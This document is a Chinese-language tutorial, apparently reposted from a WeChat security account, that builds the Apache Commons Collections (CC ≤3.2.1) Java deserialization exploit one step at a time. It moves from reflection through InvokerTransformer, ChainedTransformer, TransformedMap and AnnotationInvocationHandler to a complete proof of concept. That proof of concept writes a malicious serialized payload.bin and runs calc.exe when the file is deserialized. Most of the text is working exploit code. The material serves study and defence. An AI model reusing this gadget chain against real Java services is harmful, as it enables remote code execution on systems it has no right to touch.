Java反射
正常命令执行:
public static void test1() throws IOException {
Runtime.getRuntime().exec("calc");
}
使用反射的方式调用命令执行:
public static void test2() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
// 初始化Runtime类
Class clazz = Class.forName("java.lang.Runtime");
// 调用Runtime类的getRuntime方法得到Runtime类的对象
Object rt = clazz.getMethod("getRuntime").invoke(clazz);
// 再次使用invoke调用Runtime中的方法,传递对象参数
clazz.getMethod("exec",String.class).invoke(rt,"calc");
}
Apache CC0 反序列化漏洞
CC<=3.2.1,且需要在java7下利用
链子:

调试链子终点InvokerTransformer
最终执行命令的类InvokerTransformer,反射架子所在方法transform

手动new一下试试能利用不
public static void cc0_1() {
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new String[]{"calc.exe"}
);
Object input = Runtime.getRuntime();
invokerTransformer.transform(input);
}
其中input也可以使用反射获取
public static void cc0_1() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new String[]{"calc.exe"}
);
Object input = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
invokerTransformer.transform(input);
}
往前倒一步ChainedTransformer & ConstantTransformer

传入一个Transformer的数组,构造方法赋值到iTransformers里,当触发transform方法时,通过遍历数组逐个触发其中的transform方法

传入一个Object对象,当触发transform方法时原封不动返回这个对象。
套上这两个类,改造我们前面的利用脚本链子
public static void cc0_2() {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //获得Runtime的class
new InvokerTransformer(
"getMethod",
new Class[]{String.class,Class[].class}, //执行.getMethod("getRuntime")
new Object[]{"getRuntime",new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class}, //执行.invoke()得到Runtime实例
new Object[]{null, null}
),
new InvokerTransformer(
"exec",
new Class[]{String.class}, //传入Runtime实例
new Object[]{"calc.exe"}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(null);
}
继续往前倒TransformedMap
为解决上一步如何能自动执行最后一行chainedTransformer的transform方法
继续往前找到TransformedMap类

通过checkSetValue可以调用transform方法(把ChainedTransformer放到这里使其能调用ChainedTransformer的transform方法遍历其中的数组)
什么时候会调用checkSetValue呢,shift+左键点一下
在AbstractInputCheckedMapDecorator类的setValue方法里看到调用了checkSetValue
那么setValue方法什么时候会被触发呢,是在元素增加、删除、修改的时候被触发
所以就变成了找一个对象,它在反序列化的时候会给map对象的元素赋值,调用setValue
入口点AnnotationInvocationHandler
这个类有readObject入口点,并且方法中定义了Map.Entry的变量
如果在java7环境下反编译这个类,可以看到后面紧跟着调用了map的setValue方法
链子就串通了
最后把入口点的代码补充上
public static void cc0_3() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //获得Runtime的class
new InvokerTransformer(
"getMethod",
new Class[]{String.class,Class[].class}, //执行.getMethod("getRuntime")
new Object[]{"getRuntime",new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class}, //执行.invoke()得到Runtime实例
new Object[]{null, null}
),
new InvokerTransformer(
"exec",
new Class[]{String.class}, //传入Runtime实例
new Object[]{"calc.exe"}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innermap = new HashMap();
innermap.put("key","value");
Map outermap = TransformedMap.decorate(innermap,null,chainedTransformer);
//构造包含恶意map的AnnotationInvocationHandler对象
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cst = cl.getDeclaredConstructor(Class.class, Map.class);
cst.setAccessible(true);
Object exploitObj = cst.newInstance(Target.class, outermap);
//序列化
FileOutputStream fos = new FileOutputStream("payload.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(exploitObj);
oos.close();
//反序列化
FileInputStream fis = new FileInputStream("payload.bin");
ObjectInputStream ois = new ObjectInputStream(fis);
Object result = ois.readObject();
ois.close();
System.out.println(result);
}
原文始发于微信公众号(智佳网络安全):Java安全 – CC0反序列化
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/300821.html